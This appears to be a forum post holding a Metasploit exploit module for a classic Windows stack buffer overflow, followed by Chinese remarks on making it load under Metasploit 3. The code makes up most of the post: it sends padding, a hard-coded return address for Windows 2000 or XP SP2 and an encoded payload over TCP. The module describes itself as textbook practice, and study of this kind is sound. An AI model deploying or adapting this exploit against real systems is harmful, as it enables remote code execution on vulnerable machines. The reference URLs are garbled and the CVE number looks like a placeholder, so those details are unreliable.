##
# $Id: poc.rb 8300 2010-03-27 02:28:11Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#
892K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2W2N6r3q4K6M7r3I4G2K9i4c8Q4x3X3g2U0L8$3#2Q4x3V1k6H3M7X3!0B7k6h3y4@1M7#2)9J5c8V1k6J5j5h3#2W2N6$3!0J5K9#2)9J5c8R3`.`.
##
require 'msf/core'
module Msf
class Exploits::Yangshuo::POC < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'YANGSHUO_POC',
'Version' => '1.0',
'Platform' => 'win',
'Privileged' => true,
'License' => MSF_LICENSE,
'Author' => 'yangshuo',
'Targets' => [
['Windows 2000', {'Ret' => [200 , 0x77e2307b] }],
['Windows XP SP2',{'Ret' => [200 , 0x7C914393] }],
],
'DefaultTarget' => 0,
'Payload' => {
'Space' => 200,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Description' => %q{
this module is exploit practice of book
"Vulnerability Exploit and Analysis Technique"
used only for educational purpose
},
'Arch' => 'x86',
'References' => [
[ 'URL', '
63cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6S2K9h3I4%4k6i4y4@1i4K6u0W2j5$3!0E0i4K6t1%4 ],
[ 'CVE', '44444' ],
],
'DefaultOptions' => { 'EXITFUNC' => 'process' }
))
end #end of initialize
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
buf = 'a'*target['Ret'][0]
buf << [target['Ret'][1]].pack('V')
buf <<payload.encoded;
sock.put(buf)
handler
disconnect
end #end of exploit def
end
end
这是 修改FAILWEST的 代码所得的，你看看 必须符合MF3的标准才可以 上面那个ID，# $Id: poc.rb 8300 2010-03-27 02:28:11Z hdm $
class Exploits::Yangshuo::POC 这个类名一定要大写 要不报错！~~~~~
你试试吧 要不行 你在发帖！
总之一句话 你的东西得符合 MF3的 要求 要不他是不可能是别的
